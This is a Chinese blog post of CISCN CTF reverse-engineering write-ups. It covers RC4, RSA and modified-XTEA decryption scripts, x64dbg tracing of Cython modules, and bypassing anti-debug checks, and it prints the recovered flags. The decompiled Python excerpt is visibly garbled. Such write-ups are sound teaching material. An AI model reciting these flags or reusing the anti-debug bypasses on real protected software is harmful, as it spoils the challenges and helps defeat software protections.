分类 CISCN 下的文章

ezCsky

ezCsky固件逆向,使用ida arm架构打开可以看到rc4_int rc4_crypto 等字符串,猜测为rc4加密,testkey为rc4的key,有一组数据猜测为enc,进行rc4解密后,得到0a0d061c1f545653575100031d14585603191c0054034b14580702494c020701510c0800010003004f7d,尝试发现第一位异或"f",之后相邻异或可得flag

dump

提供了一个re.exe和一个加密后的flag二进制文件。
我们可以注意到re.exe会读取程序参数,所以我们输入:

C:\Users\Administrator\Desktop\bin>re.exe ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
02030405060708090a0b0c0d0e0f101112131415161718191a1b1e1f202122232425262728292a2b2c2d2e2f3031323334353637001c1d00000000000000000001
C:\Users\Administrator\Desktop\bin>re.exe `1234567890-=[]\';,./~!@#$%^&*()_+{}:"?
001c1d00000000000000000001000000000000000000000000000000000000000038390000

我们就可以得到字符表和输出的对应关系,发现是hex,而且是一一对应,除了3~9这几个数字和+/号,还有{},我们容易验证flag二进制文件的前几个就是flag{,最后一个是},所以人工进行一一对照就行。
2024-12-15T08:28:34.png

23 29 1E 24 38 0E 15 20 37 0E 05 20 00 0E 37 12 1D 0F 24 01 01 39
f  l  a  g  {  M  T  c  z  M  D  c  0  M  z  Q   2  N  g  1  1  }

但是问题是,这个flag交上去是错的,原因是因为数字的对应关系, 0是00,3~9也都是00,所以我们手动尝试一下3~9的数字,发现4是对的。所以这个程序的编码是有缺陷的,还好只有一个位置需要猜。
所以flag如下。中间那串是base64,解出来是一个时间戳,应该是出题人出题的时候的时间。

flag{MTczMDc4MzQ2Ng==}

Rand0m

Cython 逆向,pyd里面
x64dbg Hook
由于Python虚拟机的Number都是30bit,所以我经过了如下的处理来还原。
2024-12-15T08:29:03.png

PyNumber_And
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) & ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} & 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Add
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) + ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} + 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Xor
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) ^ ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} ^ 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_LShift
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) << ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} << 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_RShift
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) >> ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} >> 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Reminder
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) % ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} % 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Power
0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} ** 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyObject_RichCompare
0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} ?= 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}

输入如下:

rand0m.check('11223344aabbccddeeffeeffaaccddee')

我们可以拿到Log Trace

0x124AC252FFCF = 0x3FFFFFFFFFFFFFFF % 0x1FFE26F569F0
.....此处省略几十行
0x8F154AFD = 0x11223344 ^ 0x9E3779B9
0x12223440 = 0x112233440 & 0xFA3AFFFF
0x12223441 = 0x12223440 + 0x1
0x2268011E2A9 ** 0x40010001
0x13C501CC = 0xEF90A60E6D9E2A9 % 0xFFFFFFFD
0x12223441 ?= 0x52287F38

INT3 breakpoint at python312.00007FF826A9A862!
0x27FE60B7 ?= 0x98D24B3A


INT3 breakpoint at python312.00007FF826A9A862!
0x348CB564 = 0xAABBCCDD ^ 0x9E3779B9
0xAA38CDD0 = 0xAABBCCDD0 & 0xFA3AFFFF
0xAA38CDDA = 0xAA38CDD0 + 0xA
0x100069196 ** 0x40010001
0x0 = 0x0 % 0xFFFFFFFD
0xAA38CDDA ?= 0x4A30F74D

INT3 breakpoint at python312.00007FF826A9A862!
0x2B356987 ?= 0xE0F1DB77


INT3 breakpoint at python312.00007FF826A9A862!
0x70C89746 = 0xEEFFEEFF ^ 0x9E3779B9
0xEA3AEFF0 = 0xEEFFEEFF0 & 0xFA3AFFFF
0xEA3AEFFE = 0xEA3AEFF0 + 0xE
0x1000E1912 ** 0x40010001
0x0 = 0x0 % 0xFFFFFFFD
0xEA3AEFFE ?= 0x423A1268

INT3 breakpoint at python312.00007FF826A9A862!
0x81AC0CF0 ?= 0xADF38403


INT3 breakpoint at python312.00007FF826A9A862!
0x34FBA457 = 0xAACCDDEE ^ 0x9E3779B9
0xA808DEE0 = 0xAACCDDEE0 & 0xFA3AFFFF
0xA808DEEA = 0xA808DEE0 + 0xA
0xC0069F74 ** 0x40010001
0x0 = 0x0 % 0xFFFFFFFD
0xA808DEEA ?= 0x88108807
INT3 breakpoint at python312.00007FF826A9A862!
0x61FF12D1 ?= 0xD8499BB6
INT3 breakpoint at python312.00007FF826A9A862!
...后面没用了,不看了

我们显然可以观察到,对于每个加密后的数据有两组判断,log中具有断点的原因是,如果第一组判断不成立,那么第二组判断不会发生,所以我断下来,手动把PyFalseObject改为了PyTrueObject,让程序以为是正确的。
接下来就是分析,可见一组数据拆成了两部分进行加密,而这两部分都会破坏数据完整性。比如说第一部分异或了一个TEA常量,来让别人感觉是TEA,然后AND了一个 0xFA3AFFFF,显然丢失了很多比特的信息。
第二部分是一个** 0x10001 然后对0xfffffffd取余,很容易让我们想到RSA加密算法,然后我们就可以对N进行分解:
2024-12-15T08:30:26.png

随后就可以写出RSA加密解密函数,把这些参量都算出来。

def rsa_decrypt(x):
    N = 0xfffffffd
    p = 9241
    q = 464773
    assert p * q == N
    phi = (p-1) * (q-1)
    e = 0x10001
    # c = (m ** e) % N
    d = pow(e, -1, phi)
    return pow(x, d, N)

def rsa_encrypt(x):
    N = 0xfffffffd
    e = 0x10001
    return pow(x, e, N)

我们可以注意另一个加密,他对于我们的输入进行一同操作,获取到的结果,如0x*123,我们发现123是原先的低32位,最低4位其实是ROL的结果,这个我们不需要关心,因为RSA那边可以让我们获取到原先数字的高22位,而123可以让我们获取到原先数字的低12位,而我们只需要低11位,所以我们就有思路了:

((rsa_decrypt(enc2) << 11) ^ 0x9E3779B9) & 0xfffff800 来获取高22位
(a >> 4) & 0x7ff 来获取低11位
然后把上面两部分进行拼接,就是整个结果。

所以我们的EXP就是:

def rsa_decrypt(x):
    N = 0xfffffffd
    p = 9241
    q = 464773
    assert p * q == N
    phi = (p-1) * (q-1)
    e = 0x10001
    # c = (m ** e) % N
    d = pow(e, -1, phi)
    return pow(x, d, N)

def rsa_encrypt(x):
    N = 0xfffffffd
    e = 0x10001
    return pow(x, e, N)

enc_list = [(0x52287F38, 0x98D24B3A), 
            (0x4A30F74D, 0xE0F1DB77), 
            (0x423A1268, 0xADF38403), 
            (0x88108807, 0xD8499BB6)]
flag = ''
for i in enc_list:
    a, b = i
    b = rsa_decrypt(b) << 11
    b ^= 0x9E3779B9
    b &= 0xfffff800
    a = (a >> 4) & 0x7ff
    s = a | b
    flag += hex(s)[2:]

print(f"flag{{{flag}}}")
# flag{813a97f3d4b34f74802ba12678950880}

Cython

拿到exe文件,我们先使用 pyinstextractor 来解包,解包出来之后,有一个test1.pyc,一个ez.xx.pyd
显然pyc是程序IO逻辑部分,ez是加密算法部分。
我们反编译pyc可以得到如下结果:

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: test1.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import ez
flag = input('请输入flag:')
flag1 = list(flag)
value = []
b = 0
ck = 0
if len(flag1) == 24:
    for i in range(0, len(flag1), 4):
        b = ord(flag1[i]) 3 * (ord(flag1[i]) 3 * 24, ord(flag1, i[1]) 3) + ord(flag1, i[2]) 3 * 8 + ord(flag1, i[3])
        value.append(b)
    key = [102, 108, 97, 103]
    flag_encrypt = []
    for i in range(0, 6, 2):
        res = ez.encrypt(value[i], value[i 0], key)
        flag_encrypt.append(res)
    ck = ez.check(flag_encrypt)
    if ck == 3:
        print('yes!!!,you get right flag')
    else:  # inserted
        print('wrong!!!')

可以观察到flag长度24,然后转成了大端序的整数,之后进行了2个一组的加密,我们大概可以猜出来是TEA家族的加密算法,随后程序进行了check。
我们手动import一下这个pyd
help(ez)的内容

Help on module ez:

NAME
    ez

FUNCTIONS
    FormatError(...)
        FormatError([integer]) -> string

        Convert a win32 error code into a string. If the error code is not
        given, the return value of a call to GetLastError() is used.

    POINTER(...)

    addressof(...)
        addressof(C instance) -> integer
        Return the address of the C instance internal buffer

    alignment(...)
        alignment(C type) -> integer
        alignment(C instance) -> integer
        Return the alignment requirements of a C instance

    byref(...)
        byref(C instance[, offset=0]) -> byref-object
        Return a pointer lookalike to a C instance, only usable
        as function argument

    check(flag_encrypt)

    encrypt(V0, V1, key)

    get_errno(...)

    get_last_error(...)

    pointer(...)

    resize(...)
        Resize the memory buffer of a ctypes instance

    set_errno(...)

    set_last_error(...)

    sizeof(...)
        sizeof(C type) -> integer
        sizeof(C instance) -> integer
        Return the size in bytes of a C instance

DATA
    DEFAULT_MODE = 0
    GetLastError = <_FuncPtr object>
    RTLD_GLOBAL = 0
    RTLD_LOCAL = 0
    __test__ = {}
    cdll = <ctypes.LibraryLoader object>
    data = [(3914733448, 1983234354), (342009100, 2529626303), (2587440738...
    #[(3914733448, 1983234354), (342009100, 2529626303), (2587440738, 819204946)]
#(2396885758, 685625361)
    memmove = <CFunctionType object>
    memset = <CFunctionType object>
    oledll = <ctypes.LibraryLoader object>
    pydll = <ctypes.LibraryLoader object>
    pythonapi = <PyDLL 'python dll', handle 7ffde60d0000>
    windll = <ctypes.LibraryLoader object>

FILE
    e:\ctf\ez.pyd

可以看到有个

data = [(3914733448, 1983234354), (342009100, 2529626303), (2587440738, 819204946)] (2396885758, 685625361)]

这应该是我们需要找的加密后的值,所以现在我们的分析点只需要在encrypt中就可以了。
Cython 逆向,pyd里面
x64dbg Hook
由于Python虚拟机的Number都是30bit,所以我经过了如下的处理来还原。

2024-12-15T08:33:10.png

PyNumber_And
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) & ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} & 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Add
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) + ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} + 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Xor
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) ^ ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} ^ 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_LShift
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) << ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} << 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_RShift
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) >> ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} >> 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Reminder
0x{([rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)) % ([rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e))} = 0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} % 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyNumber_Power
0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} ** 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}
PyObject_RichCompare
0x{[rcx+0x18] & 0xffffffff | (([rcx+0x18] >> 0x20) << 0x1e)} ?= 0x{[rdx+0x18] & 0xffffffff | (([rdx+0x18] >> 0x20) << 0x1e)}

输入

ez.encrypt(0xdead, 0xc0de, [0x1122, 0x3344, 0x5566, 0x7788])

然后可以得到trace

0x606F0 = 0xC0DE << 0x3
0x7FF8000303 = 0x1FFE0000C0DE >> 0x6
0x605F3 = 0x3000606F0 ^ 0x300000303
0x20010006C6D1 = 0x1FFE000605F3 + 0x30000C0DE
0x80001122 = 0x0 + 0x80001122
0x6D7F3 = 0x30006C6D1 ^ 0x300001122
0x3DB500 = 0x7B6A0 << 0x3
0x7FF8001EDA = 0x1FFE0007B6A0 >> 0x6
0x26B803DABDA = 0x268803DB500 ^ 0x300001EDA
0x20010045627A = 0x1FFE003DABDA + 0x30007B6A0
0xA8C8C = 0x54646454 >> 0xB
0xD4647576 = 0x54646454 + 0x80001122
0x268D421170C = 0x2688045627A ^ 0x54647576
0xA10EBF50 = 0x5421D7EA << 0x3
0x150875F = 0x5421D7EA >> 0x6
0x2E05E380F = 0x2A10EBF50 ^ 0x4150875F
0x2F4800FF9 = 0x2A05E380F + 0x5421D7EA
0xD4647576 = 0x54646454 + 0x80001122
0x2A0E47A8F = 0x2F4800FF9 ^ 0x54647576
0x7618978 = 0xA0EC312F << 0x3
0x283B0C4 = 0xA0EC312F >> 0x6
0x785E239BC = 0x507618978 ^ 0x28283B0C4
0x5A6CE6AEB = 0x505E239BC + 0xA0EC312F
....此处省略很多行

我们从头开始分析。

l = 0xdead
r = 0xc0de
k = [0x1122, 0x3344, 0x5566, 0x7788]

使用这几个值是因为可以在log中清晰看见。
然后跟着分析

v0 = r << 0x3
v1 = r >> 0x6
v2 = v0 ^ v1
v3 = v2 + r
v4 = v3 ^ k[0]
....

整合一下

v4 = (((r << 0x3) ^ (r >> 0x6)) + r) ^ k[0]
....

看得出来,这是XTEA,完整还原如下

l = 0xdead
r = 0xc0de
l += (((r << 3) ^ (r >> 6)) + r) ^ k[0]
l = 0x7B6A0
r += (((l << 3) ^ (l >> 6)) + l) ^ k[0]

后面的>>0xb,也可以说明问题,就是XTEA的左移右移数被改掉了,delta也被改掉了。
由于是第一轮加密,所以DELTA = SUM = 0x54646454,这一点可以很好从Trace里面看出来,然后我们加密对应一下,但是发现结果并不对,意识到可能是round的问题,我们写一个程序Fuzz一下,拿到round是64,也就是说他把XTEA的轮数魔改成了64,知道了上面的信息,我们就可以解出flag。
EXP

from regadgets.bits import byte2dword, dword2byte, pack_dword, bswap32
from typing import List, Tuple, Union
from ctypes import c_uint32
from struct import unpack
def xtea_decrypt(
    src: Union[Tuple[int, int], bytes, List[int]], key: Union[List[int], bytes], delta: int = 0x9E3779B9, rounds: int = 32
) -> Union[Tuple[int, int], bytes, List[int]]:
    # For bytes src
    if type(src) == bytes:
        result = b''
        for i in pack_dword(byte2dword(src)):
            result += dword2byte(xtea_decrypt(i, key, delta, rounds))
        return result
    # For list src
    elif type(src) == list:
        result = b''
        for i in pack_dword(src):
            result += dword2byte(xtea_decrypt(i, key, delta, rounds))
        return result
    elif type(src) != tuple:
        raise "wrong src type"
    # For bytes key
    if type(key) == bytes:
        key = byte2dword(key)
    elif type(key) != list:
        raise "wrong key type"

    l, r = c_uint32(src[0]), c_uint32(src[1])
    sum = c_uint32(delta * rounds)
    k = [c_uint32(key[0]), c_uint32(key[1]), c_uint32(key[2]), c_uint32(key[3])]
    for _ in range(rounds):
        # modified
        r.value -= (((l.value << 3) ^ (l.value >> 6)) + l.value) ^ (
            sum.value + k[(sum.value >> 11) & 3].value
        )
        sum.value -= delta
        # modified
        l.value -= (((r.value << 3) ^ (r.value >> 6)) + r.value) ^ (
            sum.value + k[sum.value & 3].value
        )
    return (l.value, r.value)

k = [102, 108, 97, 103]
enc = [3914733448, 1983234354, 342009100, 2529626303, 2587440738, 819204946]
dec = dword2byte(byte2dword(xtea_decrypt(enc, key=k, delta=0x54646454, rounds=64), endian='big'))
print(dec)
# b'flag{wYemsWPHCGC0ZRPqds}'

vt (赛后解出)

通过参数传递数据,然后程序会GetCommandline然后检测参数有几个,如果只有一个(用户传入的值),就CreateProcess并附加一个父进程的PID,随后子进程会DebugActiveProcess,通过参数的PID来调试父进程。在此同时,父进程会启动一个线程,循环检测IsDebuggerPresent,如果挂载了上去,则开始WaitDebugEvent。与此同时,子进程开始检测用户输入,正确后会解密flag并且输出(注意,输出的函数是GetProcAddress动态加载,所以直接x-ref不过去)。
载入IDA,很多花指令,关闭IDA。
启动x64dbg动态调试,指定参数,第二个PID随便输。断DebugActiveProcess
2024-12-16T17:46:04.png
修改返回值0->1,让进程以为Debug附加成功。此时子进程才会进入验证输入阶段。
程序有GetThreadContext,会检测当前线程的寄存器,反硬件断点。而且在调试的时候,由于多线程会乱跳线程,所以我们先把其他线程多暂停一次,保证我们调试的线程唯一。
程序通过CreateThread创建新线程,进入输入验证子函数。
2024-12-16T17:48:27.png
经过手动分析可以确定这两个函数分别是strlen和byte2hex。后面有一堆的mov都是局部数组变量的初始化,是一个固定的table,记作table0。我们直接对byte2hex的结果(rax)进行硬件断点,经过测试这边没有检测。可以跟踪到一个地方。
2024-12-16T17:50:17.png
这个地方由于我第一次输入的是1111222233334444,所以它表现为(table0[i] - 8) ^ 0x11,之后通过更改输入到1122才发现是XOR input[i % 2],并且只有这两个字节,后面的程序不读,所以输入是????(4个16进制数,而且由于byte2hex函数只支持将A-F大写字母转换,如果写a-f将被识别成0)。
X64dbg Trace
2024-12-16T17:52:33.png
经过第一步后,程序进入下一阶段,我们硬件断点第一步的结果来追踪。我们发现两个点,一个是>>1,一个是>>1 后 xor 一个常数,显然是类似CRC32的东西。
X64dbg Trace
2024-12-16T17:53:33.png

FFFFFFBC = FFFFFFFF^43
7FFFFFDE = FFFFFFBC >> 1
3FFFFFEF = 7FFFFFDE >> 1
F2477CD7 = (3FFFFFEF >> 1) ^ 0xedb88320
949B3D4B = (F2477CD7 >> 1) ^ 0xedb88320
A7F51D85 = (949B3D4B >> 1) ^ 0xedb88320
BE420DE2 = (A7F51D85 >> 1) ^ 0xedb88320
5F2106F1 = BE420DE2 >> 1
C2280058 = (5F2106F1 >> 1) ^ 0xedb88320
C228009B = C2280058^C3
8CAC836D = (C228009B >> 1) ^ 0xedb88320
ABEEC296 = (8CAC836D >> 1) ^ 0xedb88320
55F7614B = ABEEC296 >> 1
C7433385 = (55F7614B >> 1) ^ 0xedb88320
8E191AE2 = (C7433385 >> 1) ^ 0xedb88320
470C8D71 = 8E191AE2 >> 1
CE3EC598 = (470C8D71 >> 1) ^ 0xedb88320
671F62CC = CE3EC598 >> 1
671F6299 = 671F62CC^55
DE37326C = (671F6299 >> 1) ^ 0xedb88320
6F1B9936 = DE37326C >> 1
378DCC9B = 6F1B9936 >> 1
F67E656D = (378DCC9B >> 1) ^ 0xedb88320
9687B196 = (F67E656D >> 1) ^ 0xedb88320
4B43D8CB = 9687B196 >> 1
C8196F45 = (4B43D8CB >> 1) ^ 0xedb88320
89B43482 = (C8196F45 >> 1) ^ 0xedb88320
89B43442 = 89B43482^C0
44DA1A21 = 89B43442 >> 1
CFD58E30 = (44DA1A21 >> 1) ^ 0xedb88320
67EAC718 = CFD58E30 >> 1
33F5638C = 67EAC718 >> 1
19FAB1C6 = 33F5638C >> 1
CFD58E3 = 19FAB1C6 >> 1
EBC62F51 = (CFD58E3 >> 1) ^ 0xedb88320
985B9488 = (EBC62F51 >> 1) ^ 0xedb88320
985B94A0 = 985B9488^28
4C2DCA50 = 985B94A0 >> 1
2616E528 = 4C2DCA50 >> 1
130B7294 = 2616E528 >> 1
985B94A = 130B7294 >> 1
4C2DCA5 = 985B94A >> 1
EFD9ED72 = (4C2DCA5 >> 1) ^ 0xedb88320
77ECF6B9 = EFD9ED72 >> 1
D64EF87C = (77ECF6B9 >> 1) ^ 0xedb88320
D64EF8BF = D64EF87C^C3
869FFF7F = (D64EF8BF >> 1) ^ 0xedb88320
AEF77C9F = (869FFF7F >> 1) ^ 0xedb88320
BAC33D6F = (AEF77C9F >> 1) ^ 0xedb88320
B0D91D97 = (BAC33D6F >> 1) ^ 0xedb88320
B5D40DEB = (B0D91D97 >> 1) ^ 0xedb88320
B75285D5 = (B5D40DEB >> 1) ^ 0xedb88320
B611C1CA = (B75285D5 >> 1) ^ 0xedb88320
5B08E0E5 = B611C1CA >> 1
5B08E0AA = 5B08E0E5^4F
2D847055 = 5B08E0AA >> 1
FB7ABB0A = (2D847055 >> 1) ^ 0xedb88320
7DBD5D85 = FB7ABB0A >> 1
D3662DE2 = (7DBD5D85 >> 1) ^ 0xedb88320
69B316F1 = D3662DE2 >> 1
D9610858 = (69B316F1 >> 1) ^ 0xedb88320
6CB0842C = D9610858 >> 1
36584216 = 6CB0842C >> 1
365842AF = 36584216^B9
F694A277 = (365842AF >> 1) ^ 0xedb88320
96F2D21B = (F694A277 >> 1) ^ 0xedb88320
A6C1EA2D = (96F2D21B >> 1) ^ 0xedb88320
BED87636 = (A6C1EA2D >> 1) ^ 0xedb88320
5F6C3B1B = BED87636 >> 1
C20E9EAD = (5F6C3B1B >> 1) ^ 0xedb88320
8CBFCC76 = (C20E9EAD >> 1) ^ 0xedb88320
465FE63B = 8CBFCC76 >> 1
465FE67B = 465FE63B^40
CE97701D = (465FE67B >> 1) ^ 0xedb88320
8AF33B2E = (CE97701D >> 1) ^ 0xedb88320
45799D97 = 8AF33B2E >> 1
CF044DEB = (45799D97 >> 1) ^ 0xedb88320
8A3AA5D5 = (CF044DEB >> 1) ^ 0xedb88320
A8A5D1CA = (8A3AA5D5 >> 1) ^ 0xedb88320
5452E8E5 = A8A5D1CA >> 1
C791F752 = (5452E8E5 >> 1) ^ 0xedb88320
C791F7AC = C791F752^FE
63C8FBD6 = C791F7AC >> 1
31E47DEB = 63C8FBD6 >> 1
F54ABDD5 = (31E47DEB >> 1) ^ 0xedb88320
971DDDCA = (F54ABDD5 >> 1) ^ 0xedb88320
4B8EEEE5 = 971DDDCA >> 1
C87FF452 = (4B8EEEE5 >> 1) ^ 0xedb88320
643FFA29 = C87FF452 >> 1
DFA77E34 = (643FFA29 >> 1) ^ 0xedb88320
DFA77E3C = DFA77E34^8
6FD3BF1E = DFA77E3C >> 1
37E9DF8F = 6FD3BF1E >> 1
F64C6CE7 = (37E9DF8F >> 1) ^ 0xedb88320
969EB553 = (F64C6CE7 >> 1) ^ 0xedb88320
A6F7D989 = (969EB553 >> 1) ^ 0xedb88320
BEC36FE4 = (A6F7D989 >> 1) ^ 0xedb88320
5F61B7F2 = BEC36FE4 >> 1
2FB0DBF9 = 5F61B7F2 >> 1
2FB0DB43 = 2FB0DBF9^BA
FA60EE81 = (2FB0DB43 >> 1) ^ 0xedb88320
9088F460 = (FA60EE81 >> 1) ^ 0xedb88320
48447A30 = 9088F460 >> 1
24223D18 = 48447A30 >> 1
12111E8C = 24223D18 >> 1
9088F46 = 12111E8C >> 1
48447A3 = 9088F46 >> 1
EFFAA0F1 = (48447A3 >> 1) ^ 0xedb88320
EFFAA0B0 = EFFAA0F1^41
77FD5058 = EFFAA0B0 >> 1
3BFEA82C = 77FD5058 >> 1
1DFF5416 = 3BFEA82C >> 1
EFFAA0B = 1DFF5416 >> 1
EAC75625 = (EFFAA0B >> 1) ^ 0xedb88320
98DB2832 = (EAC75625 >> 1) ^ 0xedb88320
4C6D9419 = 98DB2832 >> 1
CB8E492C = (4C6D9419 >> 1) ^ 0xedb88320
CB8E499C = CB8E492C^B0
65C724CE = CB8E499C >> 1
32E39267 = 65C724CE >> 1
F4C94A13 = (32E39267 >> 1) ^ 0xedb88320
97DC2629 = (F4C94A13 >> 1) ^ 0xedb88320
A6569034 = (97DC2629 >> 1) ^ 0xedb88320
532B481A = A6569034 >> 1
2995A40D = 532B481A >> 1
F9725126 = (2995A40D >> 1) ^ 0xedb88320
F972510E = F9725126^28
7CB92887 = F972510E >> 1
D3E41763 = (7CB92887 >> 1) ^ 0xedb88320
844A8891 = (D3E41763 >> 1) ^ 0xedb88320
AF9DC768 = (844A8891 >> 1) ^ 0xedb88320
57CEE3B4 = AF9DC768 >> 1
2BE771DA = 57CEE3B4 >> 1
15F3B8ED = 2BE771DA >> 1
E7415F56 = (15F3B8ED >> 1) ^ 0xedb88320
E7415FB5 = E7415F56^E3
9E182CFA = (E7415FB5 >> 1) ^ 0xedb88320
4F0C167D = 9E182CFA >> 1
CA3E881E = (4F0C167D >> 1) ^ 0xedb88320
651F440F = CA3E881E >> 1
DF372127 = (651F440F >> 1) ^ 0xedb88320
822313B3 = (DF372127 >> 1) ^ 0xedb88320
ACA90AF9 = (822313B3 >> 1) ^ 0xedb88320
BBEC065C = (ACA90AF9 >> 1) ^ 0xedb88320
BBEC061D = BBEC065C^41
B04E802E = (BBEC061D >> 1) ^ 0xedb88320
58274017 = B04E802E >> 1
C1AB232B = (58274017 >> 1) ^ 0xedb88320
8D6D12B5 = (C1AB232B >> 1) ^ 0xedb88320
AB0E0A7A = (8D6D12B5 >> 1) ^ 0xedb88320
5587053D = AB0E0A7A >> 1
C77B01BE = (5587053D >> 1) ^ 0xedb88320
63BD80DF = C77B01BE >> 1
63BD8063 = 63BD80DF^BC
DC664311 = (63BD8063 >> 1) ^ 0xedb88320
838BA2A8 = (DC664311 >> 1) ^ 0xedb88320
41C5D154 = 838BA2A8 >> 1
20E2E8AA = 41C5D154 >> 1
10717455 = 20E2E8AA >> 1
E580390A = (10717455 >> 1) ^ 0xedb88320
72C01C85 = E580390A >> 1
D4D88D62 = (72C01C85 >> 1) ^ 0xedb88320
D4D88D21 = D4D88D62^43
87D4C5B0 = (D4D88D21 >> 1) ^ 0xedb88320
43EA62D8 = 87D4C5B0 >> 1
21F5316C = 43EA62D8 >> 1
10FA98B6 = 21F5316C >> 1
87D4C5B = 10FA98B6 >> 1
E986250D = (87D4C5B >> 1) ^ 0xedb88320
997B91A6 = (E986250D >> 1) ^ 0xedb88320
4CBDC8D3 = 997B91A6 >> 1
4CBDC873 = 4CBDC8D3^A0
CBE66719 = (4CBDC873 >> 1) ^ 0xedb88320
884BB0AC = (CBE66719 >> 1) ^ 0xedb88320
4425D856 = 884BB0AC >> 1
2212EC2B = 4425D856 >> 1
FCB1F535 = (2212EC2B >> 1) ^ 0xedb88320
93E079BA = (FCB1F535 >> 1) ^ 0xedb88320
49F03CDD = 93E079BA >> 1
C9409D4E = (49F03CDD >> 1) ^ 0xedb88320
C9409D78 = C9409D4E^36
64A04EBC = C9409D78 >> 1
3250275E = 64A04EBC >> 1
192813AF = 3250275E >> 1
E12C8AF7 = (192813AF >> 1) ^ 0xedb88320
9D2EC65B = (E12C8AF7 >> 1) ^ 0xedb88320
A32FE00D = (9D2EC65B >> 1) ^ 0xedb88320
BC2F7326 = (A32FE00D >> 1) ^ 0xedb88320
5E17B993 = BC2F7326 >> 1
5E17B933 = 5E17B993^A0
C2B35FB9 = (5E17B933 >> 1) ^ 0xedb88320
8CE12CFC = (C2B35FB9 >> 1) ^ 0xedb88320
4670967E = 8CE12CFC >> 1
23384B3F = 4670967E >> 1
FC24A6BF = (23384B3F >> 1) ^ 0xedb88320
93AAD07F = (FC24A6BF >> 1) ^ 0xedb88320
A46DEB1F = (93AAD07F >> 1) ^ 0xedb88320
BF8E76AF = (A46DEB1F >> 1) ^ 0xedb88320
BF8E7698 = BF8E76AF^37
5FC73B4C = BF8E7698 >> 1
